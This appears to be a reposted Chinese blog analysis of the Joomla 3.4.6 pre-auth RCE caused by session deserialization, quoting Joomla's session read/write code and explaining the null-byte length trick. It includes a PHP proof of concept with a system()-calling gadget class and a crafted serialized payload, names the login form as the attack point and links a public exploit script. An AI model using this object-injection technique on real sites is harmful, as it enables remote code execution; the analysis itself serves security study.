0x00 前言php
今天早上看到了國內幾家安全媒體發了Joomla RCE漏洞的預警,漏洞利用的EXP也在Github公開了。我大體看了一眼描述,以爲是個挺有意思的漏洞,所以有了這篇分析的文章,其實這個漏洞的分析老外在博客中也寫過了,本質上這是一個Session反序列化致使的RCE漏洞,因爲Joomla對於Session的特殊處理,致使漏洞觸發並不須要登錄。所以成了Pre-auth RCE.mysql
0x01 漏洞環境搭建 git
代碼下載: https://github.com/joomla/joomla-cms/releases/tag/3.4.6
下載安裝就好,要求php 5.3.10 以上,其餘跟着提示走就ok 。github
0x02 漏洞原理分析sql
PHP對Session的存儲是默認放在文件中,當有活動會話產生使用到Session時候,將會在服務端php設置好的路徑寫入一個文件,文件的內容爲默認序列化處理器序列化後的數據。在Joomla中則改變了PHP的默認處理規則,將序列化以後的數據存放在數據庫中,這步操做對應的處理函數爲\libraries\joomla\session\storage\database.php 中的write:shell
/** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $data The session data. * * @return boolean True on success, false otherwise. * * @since 11.1 */ public function write($id, $data) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); try { $query = $db->getQuery(true) ->update($db->quoteName('#__session')) ->set($db->quoteName('data') . ' = ' . $db->quote($data)) ->set($db->quoteName('time') . ' = ' . $db->quote((int) time())) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); // Try to update the session data in the database table. $db->setQuery($query); if (!$db->execute()) { return false; } /* Since $db->execute did not throw an exception, so the query was successful. Either the data changed, or the data was identical. In either case we are done. */ return true; } catch (Exception $e) { return false; } }
這裏我故意將註釋也貼出來,很明顯做者的註釋意思也寫得十分明確。而後取值的時候使用的操做對應的函數是read:數據庫
/** * Read the data for a particular session identifier from the SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 11.1 */ public function read($id) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); try { // Get the session data from the database table. $query = $db->getQuery(true) ->select($db->quoteName('data')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); return $result; } catch (Exception $e) { return false; } }
從代碼中能夠看出,在存入數據庫以前,會將傳入數據中的chr(0) . '*' . chr(0) 替換爲\0\0\0, 緣由是mysql數據庫沒法處理NULL字節,而protected 修飾符修飾的字段在序列化以後是以\x00\x2a\x00開頭的。而後從數據庫中取出來的時候,再將字符進行替換還原,防止沒法正常反序列化。json
可是這樣會致使什麼樣的問題呢?咱們首先須要瞭解一下PHP的序列化機制,PHP在序列化數據的過程當中,若是序列化的字段是一個字符串,那麼將會保留該字符串的長度,而後將長度寫入到序列化以後的數據,反序列化的時候按照長度進行讀取。那麼結合上邊說到的問題,若是寫入數據庫的時候,是\0\0\0, 取出來的時候將會變成chr(0) . '*' . chr(0), 這樣的話,入庫的時候生成的序列化數據長度爲6(\0\0\0), 取出來的時候將會成爲3(N*N, N表示NULL),這樣在反序列化的時候,若是按照原先的長度讀取,就會致使後續的字符被吃掉!那這樣有什麼問題呢?這裏須要簡單說一下PHP反序列化的特色,PHP按照長度讀取指定字段的值,讀取完成以分號結束,接着開始下一個,若是咱們可以控制兩個字段的值,第一個用來吃掉第一個字段和第二個字段中間的部分,第二個字段用來構造序列化利用的payload,那麼執行將會把第一個字段開頭的部分到第二個字段開始的爲止當成第一個字段的內容,第二個字段內容逃逸出來被反序列化!!安全
說了這麼多,對於理解這個漏洞已經足夠了,所以我寫了一個僞代碼來幫助理解:session
<?php // pop 利用鏈 class Evil { public $cmd; public function __construct($cmd) { $this->cmd = $cmd; } public function __destruct() { // var_dump($this->cmd); system($this->cmd); } } // 模擬真實的登錄處理邏輯 class User { public $username; public $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } // public function __destruct() { // var_dump($this->username); // var_dump($this->password); // } } function write($id, $data) { $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); $arr = array($id => $data); file_put_contents("db.txt", json_encode($arr)); } function read($id) { $data = file_get_contents("db.txt"); $result = json_decode($data, true); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result[$id]); return $result; } // 發送的username 值 $username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $password = 'AAAA";'; // padding // 構造一個fake password字段,將其內容設置爲一個惡意構造的對象 $shellcode = 's:8:"password";O:4:"Evil":1:{s:3:"cmd";s:4:"calc";}'; $password = $password . $shellcode; write("123", serialize(new User($username, $password))); var_dump(unserialize(read("123"))); ?>
我將這裏的write和read函數簡化,數據庫操做部分使用文件代替,重點咱們解釋一下payload的構造部分:
這裏使用9組\0\0\0做爲第一個參數username的值,這樣的話,長度將會是54,反序列化處理時候將會變成27,吃掉後續的27個字符纔是username的值。
O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:7:"payload";}
";s:8:"password";s:7:" 的長度爲22,\0處理完成後自己會剩下27,這樣的話一共是49,還會吃掉5個字符,咱們應該補5個。可是並非這樣,所以這裏我寫
的password的值是payload,長度是7,實際上咱們的payload長度會超過10,所以生成的序列化數據就不是0-9一位數了,至少是兩位數,我這裏的測試案例
是恰好兩位數。所以補4個字符就能夠了。接着是後續的payload.關於payload的查找和利用能夠參考老外的文章,這裏再也不贅述。
接着還有最後一個問題,反序列化觸發點在哪裏?這裏又牽扯到Joomla的一個特性,一個未登錄的用戶若是進行登錄,那麼他的登錄信息也會被序列化以後存入到數據庫之中。
所以這裏選擇登錄框進行攻擊!
最後貼上一張僞代碼測試成功的圖:
![](http://static.javashuo.com/static/loading.gif)
Joomla中詳細的處理流程和代碼分析我就不寫了,本身動手調試吧~~
0x03 參考資料
1. https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=412. https://raw.githubusercontent.com/momika233/Joomla-3.4.6-RCE/master/Joomla-3.4.6-RCE.py